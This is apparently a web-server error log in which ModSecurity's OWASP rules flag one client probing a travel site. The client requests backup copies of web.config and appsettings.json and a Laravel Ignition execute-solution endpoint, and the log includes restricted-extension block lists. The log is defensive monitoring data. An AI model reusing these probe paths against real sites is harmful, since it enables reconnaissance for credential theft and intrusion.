[Fri Jul 17 08:55:20.422284 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/web.config.old"] [unique_id "almgoO1pLmPpy2r_2CxfXQAAAA8"]
[Fri Jul 17 08:55:20.422451 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.422646 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoO1pLmPpy2r_2CxfXQAAAA8"]
[Fri Jul 17 08:55:20.425906 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /Web.config found within REQUEST_FILENAME: /web.config.orig"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/web.config.orig"] [unique_id "almgoCvekYYQ8uns4MwlcwAAAA0"]
[Fri Jul 17 08:55:20.426421 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/web.config.orig"] [unique_id "almgoCvekYYQ8uns4MwlcwAAAA0"]
[Fri Jul 17 08:55:20.426665 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.426876 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoCvekYYQ8uns4MwlcwAAAA0"]
[Fri Jul 17 08:55:20.429740 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /Web.config found within REQUEST_FILENAME: /web.config.tmp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/web.config.tmp"] [unique_id "almgoEkXT4NBqALj2lZ8xQAAABA"]
[Fri Jul 17 08:55:20.430219 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/web.config.tmp"] [unique_id "almgoEkXT4NBqALj2lZ8xQAAABA"]
[Fri Jul 17 08:55:20.430451 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.430666 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoEkXT4NBqALj2lZ8xQAAABA"]
[Fri Jul 17 08:55:20.435759 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /Web.config found within REQUEST_FILENAME: /web.config-backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/web.config-backup"] [unique_id "almgoA5GPQ6hs4VrfMpBkgAAAAY"]
[Fri Jul 17 08:55:20.436106 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/web.config-backup"] [unique_id "almgoA5GPQ6hs4VrfMpBkgAAAAY"]
[Fri Jul 17 08:55:20.436241 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.436379 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoA5GPQ6hs4VrfMpBkgAAAAY"]
[Fri Jul 17 08:55:20.438979 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/web.config.swp"] [unique_id "almgoA7FYe46zHK_jL3P8QAAABk"]
[Fri Jul 17 08:55:20.439255 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /Web.config found within REQUEST_FILENAME: /web.config.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/web.config.swp"] [unique_id "almgoA7FYe46zHK_jL3P8QAAABk"]
[Fri Jul 17 08:55:20.439565 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/web.config.swp"] [unique_id "almgoA7FYe46zHK_jL3P8QAAABk"]
[Fri Jul 17 08:55:20.439737 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.439887 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoA7FYe46zHK_jL3P8QAAABk"]
[Fri Jul 17 08:55:20.440799 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/web.config.backup"] [unique_id "almgoHRlmrtCoY_COpcl-wAAAAg"]
[Fri Jul 17 08:55:20.443070 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /Web.config found within REQUEST_FILENAME: /web.config.copy"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/web.config.copy"] [unique_id "almgoIbYoYGvYnmnM82COgAAAAs"]
[Fri Jul 17 08:55:20.443555 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/web.config.copy"] [unique_id "almgoIbYoYGvYnmnM82COgAAAAs"]
[Fri Jul 17 08:55:20.443776 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.444032 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoIbYoYGvYnmnM82COgAAAAs"]
[Fri Jul 17 08:55:20.445499 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /Web.config found within REQUEST_FILENAME: /web.config.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/web.config.backup"] [unique_id "almgoHRlmrtCoY_COpcl-wAAAAg"]
[Fri Jul 17 08:55:20.445992 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/web.config.backup"] [unique_id "almgoHRlmrtCoY_COpcl-wAAAAg"]
[Fri Jul 17 08:55:20.446230 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.446428 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoHRlmrtCoY_COpcl-wAAAAg"]
[Fri Jul 17 08:55:20.465885 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /Web.config found within REQUEST_FILENAME: /web.config.bkp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/web.config.bkp"] [unique_id "almgoBHlOGcokz2QIwTTKAAAAAM"]
[Fri Jul 17 08:55:20.466217 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/web.config.bkp"] [unique_id "almgoBHlOGcokz2QIwTTKAAAAAM"]
[Fri Jul 17 08:55:20.466344 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.466506 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoBHlOGcokz2QIwTTKAAAAAM"]
[Fri Jul 17 08:55:20.466832 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php/_ignition/execute-solution) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.467727 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /Web.config found within REQUEST_FILENAME: /web.config.1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/web.config.1"] [unique_id "almgoLoj0IkvhSCYadmBugAAAAQ"]
[Fri Jul 17 08:55:20.467990 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/web.config.1"] [unique_id "almgoLoj0IkvhSCYadmBugAAAAQ"]
[Fri Jul 17 08:55:20.468130 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.468252 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoLoj0IkvhSCYadmBugAAAAQ"]
[Fri Jul 17 08:55:20.472247 2026] [authz_core:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/readme.html
[Fri Jul 17 08:55:20.472370 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.474670 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/appsettings.json.bak"] [unique_id "almgoFCBpfuYyhJ140vSuQAAAB4"]
[Fri Jul 17 08:55:20.474818 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".json~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/appsettings.json~"] [unique_id "almgoKquHSHoCJK_V0SBXwAAABs"]
